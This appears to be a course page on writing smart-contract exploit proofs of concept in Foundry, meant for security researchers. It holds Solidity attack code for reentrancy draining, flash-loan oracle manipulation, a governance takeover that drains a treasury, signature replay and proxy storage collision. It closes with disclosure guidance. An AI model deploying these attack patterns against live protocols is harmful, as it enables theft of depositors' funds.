Skip to the content.

Module 06 — Exploit Development

Difficulty: Advanced

Finding a vulnerability is only half the job. A professional security researcher must demonstrate exploitability through a working Proof of Concept. This module teaches you how to write clean, reproducible exploit PoCs in Foundry — the industry standard for Web3 exploit development.


6.1 PoC Structure in Foundry

Standard PoC Template

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import "forge-std/console.sol";

// Import interfaces for the target protocol
interface ITargetProtocol {
    function deposit(uint256 amount) external;
    function withdraw(uint256 amount) external;
    function balanceOf(address) external view returns (uint256);
}

interface IERC20 {
    function balanceOf(address) external view returns (uint256);
    function approve(address, uint256) external returns (bool);
    function transfer(address, uint256) external returns (bool);
}

contract ExploitPoC is Test {
    // Protocol addresses (mainnet fork)
    address constant TARGET = 0x1234567890123456789012345678901234567890;
    address constant TOKEN = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; // USDC

    ITargetProtocol target;
    IERC20 token;

    address attacker = makeAddr("attacker");

    function setUp() public {
        // Fork mainnet at a specific block (before the exploit)
        vm.createSelectFork(vm.envString("ETH_RPC_URL"), 18_500_000);

        target = ITargetProtocol(TARGET);
        token = IERC20(TOKEN);

        // Fund the attacker
        vm.deal(attacker, 10 ether);
        deal(address(token), attacker, 1_000_000e6); // 1M USDC
    }

    function test_exploit() public {
        // === BEFORE STATE ===
        console.log("=== BEFORE EXPLOIT ===");
        console.log("Attacker USDC:", token.balanceOf(attacker));
        console.log("Target USDC:", token.balanceOf(address(target)));

        // === EXPLOIT ===
        vm.startPrank(attacker);

        // Step 1: Setup
        token.approve(address(target), type(uint256).max);

        // Step 2: Execute exploit
        // ... exploit logic here ...

        vm.stopPrank();

        // === AFTER STATE ===
        console.log("\n=== AFTER EXPLOIT ===");
        console.log("Attacker USDC:", token.balanceOf(attacker));
        console.log("Target USDC:", token.balanceOf(address(target)));

        // === ASSERTIONS ===
        // Prove the exploit worked
        assertGt(token.balanceOf(attacker), 1_000_000e6, "Attacker should have profited");
    }
}
1
2
# Run the exploit PoC
forge test --mt test_exploit -vvvv --fork-url $ETH_RPC_URL --fork-block-number 18500000

6.2 Flash Loan Attack PoC

Complete Flash Loan + Oracle Manipulation PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import "forge-std/console.sol";

interface IFlashLoanProvider {
    function flashLoan(
        address receiver,
        address[] calldata tokens,
        uint256[] calldata amounts,
        bytes calldata params
    ) external;
}

interface IVulnerableLending {
    function deposit(address token, uint256 amount) external;
    function borrow(address token, uint256 amount) external;
    function getPrice(address token) external view returns (uint256);
}

interface IUniswapV2Router {
    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory);
}

interface IERC20 {
    function balanceOf(address) external view returns (uint256);
    function approve(address, uint256) external returns (bool);
    function transfer(address, uint256) external returns (bool);
}

contract FlashLoanExploit is Test {
    // Mainnet addresses
    IFlashLoanProvider constant AAVE = IFlashLoanProvider(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);
    IUniswapV2Router constant ROUTER = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IERC20 constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    IERC20 constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);

    address constant VULNERABLE_LENDING = address(0); // Replace with target

    address attacker;
    address attackContract;

    function setUp() public {
        vm.createSelectFork(vm.envString("ETH_RPC_URL"), 18_500_000);
        attacker = makeAddr("attacker");
        vm.deal(attacker, 100 ether);
    }

    function test_flashLoanAttack() public {
        vm.startPrank(attacker);

        // Deploy attack contract
        AttackContract attack = new AttackContract();

        console.log("=== PRE-ATTACK ===");
        console.log("Attacker ETH:", attacker.balance / 1 ether, "ETH");

        // Execute the attack
        attack.executeAttack();

        console.log("\n=== POST-ATTACK ===");
        console.log("Attacker profit:", address(attack).balance / 1 ether, "ETH");

        vm.stopPrank();
    }
}

contract AttackContract {
    IFlashLoanProvider constant AAVE = IFlashLoanProvider(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);

    function executeAttack() external {
        // Step 1: Take flash loan
        address[] memory tokens = new address[](1);
        tokens[0] = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // WETH
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 10_000 ether; // Borrow 10,000 ETH

        AAVE.flashLoan(address(this), tokens, amounts, "");
    }

    // Aave calls this function during the flash loan
    function executeOperation(
        address[] calldata assets,
        uint256[] calldata amounts,
        uint256[] calldata premiums,
        address initiator,
        bytes calldata params
    ) external returns (bool) {
        // Step 2: We now have 10,000 ETH — manipulate the oracle
        // ... dump tokens on Uniswap to crash price
        // ... borrow against manipulated collateral on vulnerable lending protocol

        // Step 3: Repay flash loan
        IERC20(assets[0]).approve(msg.sender, amounts[0] + premiums[0]);

        // Step 4: Keep the profit
        return true;
    }
}

6.3 Reentrancy Exploit Implementation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
contract ReentrancyExploit is Test {
    VulnerableBank target;
    AttackReentrancy attacker;

    function setUp() public {
        target = new VulnerableBank();

        // Fund the target with victims' deposits
        address victim1 = makeAddr("victim1");
        vm.deal(victim1, 10 ether);
        vm.prank(victim1);
        target.deposit{value: 10 ether}();

        address victim2 = makeAddr("victim2");
        vm.deal(victim2, 10 ether);
        vm.prank(victim2);
        target.deposit{value: 10 ether}();

        // Deploy attack contract
        attacker = new AttackReentrancy(address(target));
    }

    function test_reentrancy() public {
        console.log("Target balance before:", address(target).balance / 1 ether, "ETH");
        console.log("Attacker balance before:", address(attacker).balance / 1 ether, "ETH");

        // Attack with 1 ETH to steal 20 ETH
        vm.deal(address(this), 1 ether);
        attacker.attack{value: 1 ether}();

        console.log("\nTarget balance after:", address(target).balance / 1 ether, "ETH");
        console.log("Attacker balance after:", address(attacker).balance / 1 ether, "ETH");

        // Target should be drained
        assertEq(address(target).balance, 0, "Target should be drained");
        assertEq(address(attacker).balance, 21 ether, "Attacker should have all funds");
    }
}

contract AttackReentrancy {
    VulnerableBank public target;
    uint256 public attackCount;

    constructor(address _target) {
        target = VulnerableBank(_target);
    }

    function attack() external payable {
        require(msg.value >= 1 ether, "Need at least 1 ETH");
        target.deposit{value: 1 ether}();
        target.withdraw();
    }

    receive() external payable {
        if (address(target).balance >= 1 ether) {
            attackCount++;
            target.withdraw(); // Re-enter!
        }
    }
}

6.4 Price Oracle Manipulation PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
contract OracleManipulationPoC is Test {
    // Addresses on mainnet fork
    IUniswapV2Pair pair;
    IVulnerableLending lending;
    IERC20 tokenA;
    IERC20 tokenB;

    function setUp() public {
        vm.createSelectFork(vm.envString("ETH_RPC_URL"), 18_500_000);
        // Initialize protocol contracts
    }

    function test_oracleManipulation() public {
        address attacker = makeAddr("attacker");

        // Step 1: Record price before manipulation
        uint256 priceBefore = lending.getPrice(address(tokenA));
        console.log("Price before:", priceBefore);

        vm.startPrank(attacker);

        // Step 2: Large swap to move spot price
        deal(address(tokenA), attacker, 1_000_000 ether);
        tokenA.approve(address(router), type(uint256).max);

        address[] memory path = new address[](2);
        path[0] = address(tokenA);
        path[1] = address(tokenB);

        router.swapExactTokensForTokens(
            1_000_000 ether, 0, path, attacker, block.timestamp
        );

        // Step 3: Price is now manipulated
        uint256 priceAfter = lending.getPrice(address(tokenA));
        console.log("Price after manipulation:", priceAfter);

        // Step 4: Exploit the manipulated price
        // ... borrow against inflated collateral value ...

        // Step 5: Swap back to restore price
        // Step 6: Repay flash loan, keep profit

        vm.stopPrank();

        assertLt(priceAfter, priceBefore / 2, "Price should have dropped significantly");
    }
}

6.5 Governance Takeover PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
contract GovernanceAttackPoC is Test {
    IGovernor governor;
    IVotesToken token;
    ITimelock timelock;

    function setUp() public {
        vm.createSelectFork(vm.envString("ETH_RPC_URL"), 18_500_000);
        // Initialize governance contracts
    }

    function test_governanceTakeover() public {
        address attacker = makeAddr("attacker");

        // Step 1: Flash loan governance tokens
        // ... borrow tokens from Aave ...

        // Step 2: Self-delegate voting power
        vm.prank(attacker);
        token.delegate(attacker);

        // Step 3: Create malicious proposal
        address[] memory targets = new address[](1);
        targets[0] = address(treasury);
        uint256[] memory values = new uint256[](1);
        values[0] = 0;
        bytes[] memory calldatas = new bytes[](1);
        calldatas[0] = abi.encodeCall(treasury.transfer, (attacker, treasury.balance()));

        vm.prank(attacker);
        uint256 proposalId = governor.propose(targets, values, calldatas, "Drain treasury");

        // Step 4: Advance time past voting delay
        vm.roll(block.number + governor.votingDelay() + 1);

        // Step 5: Vote
        vm.prank(attacker);
        governor.castVote(proposalId, 1); // Vote FOR

        // Step 6: Advance past voting period
        vm.roll(block.number + governor.votingPeriod() + 1);

        // Step 7: Queue in timelock
        governor.queue(targets, values, calldatas, keccak256("Drain treasury"));

        // Step 8: Wait for timelock, then execute
        vm.warp(block.timestamp + timelock.getMinDelay() + 1);
        governor.execute(targets, values, calldatas, keccak256("Drain treasury"));

        // Step 9: Repay flash loan

        console.log("Treasury drained:", address(treasury).balance == 0);
    }
}

6.6 Signature Forgery PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
contract SignatureReplayPoC is Test {
    VulnerableRelay relay;

    function setUp() public {
        relay = new VulnerableRelay();
        deal(address(relay), 100 ether);
    }

    function test_signatureReplay() public {
        // Create a signer
        uint256 signerPk = 0xA11CE;
        address signer = vm.addr(signerPk);

        // Fund the signer's account in the relay
        deal(address(relay), 100 ether);
        vm.deal(signer, 1 ether);
        vm.prank(signer);
        relay.deposit{value: 10 ether}();

        // Sign a withdrawal for 10 ETH
        bytes32 hash = keccak256(abi.encodePacked(uint256(10 ether)));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPk, hash);
        bytes memory signature = abi.encodePacked(r, s, v);

        // First withdrawal — legitimate
        address relayer = makeAddr("relayer");
        vm.prank(relayer);
        relay.withdraw(10 ether, signature);

        console.log("Signer balance after 1st withdraw:", relay.balances(signer));

        // REPLAY — submit the same signature again!
        // If the contract doesn't track nonces, this works
        vm.prank(relayer);
        relay.withdraw(10 ether, signature); // Should succeed if vulnerable

        console.log("Signer balance after replay:", relay.balances(signer));
    }
}

6.7 Proxy Storage Collision Exploitation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
contract ProxyCollisionPoC is Test {
    Proxy proxy;
    Implementation impl;

    function setUp() public {
        impl = new Implementation();
        proxy = new Proxy(address(impl));
    }

    function test_storageCollision() public {
        // The implementation's slot 0 = proxy's slot 0 (implementation address!)
        console.log("Proxy implementation before:", proxy.implementation());

        // Call setAdmin on the implementation through the proxy
        // This writes to slot 0 — which is the implementation address in the proxy!
        address attacker = makeAddr("attacker");
        vm.prank(attacker);
        (bool success, ) = address(proxy).call(
            abi.encodeCall(Implementation.setAdmin, (attacker))
        );
        require(success, "Call failed");

        // Now the proxy's implementation pointer has been overwritten!
        console.log("Proxy implementation after:", proxy.implementation());

        // The proxy now delegates to the attacker's address (or garbage)
        // Attacker can deploy malicious code there and take over
        assertEq(proxy.implementation(), attacker, "Implementation should be overwritten");
    }
}

6.8 Writing a Complete Attack Contract

Best Practices for PoC Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/**
 * @title  ExploitPoC_ProtocolName_VulnerabilityType
 * @notice Proof of Concept for [vulnerability description]
 * @dev    Run: forge test --mt test_exploit -vvvv --fork-url $ETH_RPC
 *
 * VULNERABILITY SUMMARY:
 * - Type: [e.g., Reentrancy / Oracle Manipulation / Access Control]
 * - Impact: [e.g., Complete drain of protocol funds]
 * - Prerequisites: [e.g., Flash loan, none, admin key]
 * - Affected contracts: [list addresses]
 *
 * ATTACK FLOW:
 * 1. Flash loan X tokens from Aave
 * 2. Deposit tokens to manipulate oracle
 * 3. Borrow against inflated collateral
 * 4. Repay flash loan, keep profit
 */
contract ExploitPoC is Test {
    // ... structured exploit code with comments at each step ...
}

6.9 Responsible Disclosure — Packaging PoC

What to Include in a Security Report PoC

1
2
3
4
5
6
7
8
9
10
exploit_poc/
├── README.md              # Summary, severity, steps to reproduce
├── foundry.toml           # Foundry configuration
├── .env.example           # Required environment variables
├── test/
│   └── ExploitPoC.t.sol   # The exploit test
├── src/
│   └── interfaces/        # Interface files for target contracts
└── script/
    └── Simulate.s.sol     # Optional: deployment script for simulation

README.md Template for PoC Package

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Security Finding: [Title]

## Severity: Critical

## Summary
[One paragraph describing the vulnerability]

## Impact
- Funds at risk: $X
- Affected users: All depositors
- Attack cost: ~$Y gas + flash loan fee

## Steps to Reproduce
1. Clone this repository
2. Copy `.env.example` to `.env` and add your RPC URL
3. Run: `forge test --mt test_exploit -vvvv`

## Root Cause
[Technical explanation]

## Recommended Fix
[Specific code change recommendation]

6.10 Estimating Attack Profit/Loss

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function test_profitCalculation() public {
    uint256 attackerBalBefore = token.balanceOf(attacker);

    // ... execute exploit ...

    uint256 attackerBalAfter = token.balanceOf(attacker);
    uint256 gasCost = tx.gasprice * gasleft(); // Approximate

    int256 profit = int256(attackerBalAfter) - int256(attackerBalBefore);
    console.log("Gross profit:", uint256(profit) / 1e18, "tokens");
    console.log("Flash loan fee:", flashLoanAmount * 5 / 10000, "tokens (0.05%)");
    console.log("Gas cost:", gasCost / 1e18, "ETH");
    console.log("Net profit (approx):", uint256(profit - int256(flashLoanFee)));
}

6.11 Common Foundry Cheatcodes Reference

Cheatcode Purpose Example
vm.prank(addr) Spoof msg.sender for next call vm.prank(owner); contract.pause();
vm.startPrank(addr) Spoof msg.sender for all calls until stopPrank Block of calls as specific user
vm.deal(addr, val) Set ETH balance vm.deal(attacker, 1000 ether);
deal(token, addr, val) Set ERC20 balance deal(address(usdc), attacker, 1e6);
vm.warp(timestamp) Set block.timestamp vm.warp(block.timestamp + 1 days);
vm.roll(blockNum) Set block.number vm.roll(block.number + 100);
vm.store(addr, slot, val) Write storage directly Manipulate internal state
vm.load(addr, slot) Read storage directly Inspect hidden state
vm.sign(pk, digest) Sign with private key Generate signatures
vm.addr(pk) Get address from private key Match signer to address
makeAddr(name) Create labeled address address alice = makeAddr("alice");
vm.expectRevert() Next call should revert Assert access control works
vm.createSelectFork() Fork a network Test against live state
vm.label(addr, name) Label in traces Better debugging output
console.log() Print during test Debug values

Key Takeaway: A well-written PoC is as important as finding the vulnerability. It transforms a theoretical issue into an undeniable demonstration. Always structure your PoCs with clear before/after state logging, precise comments at each exploit step, and assertions that prove the attack succeeded. The goal is for anyone to run forge test and immediately understand the vulnerability.


*← Previous: Tools & Frameworks Next: DeFi Protocol Attacks →*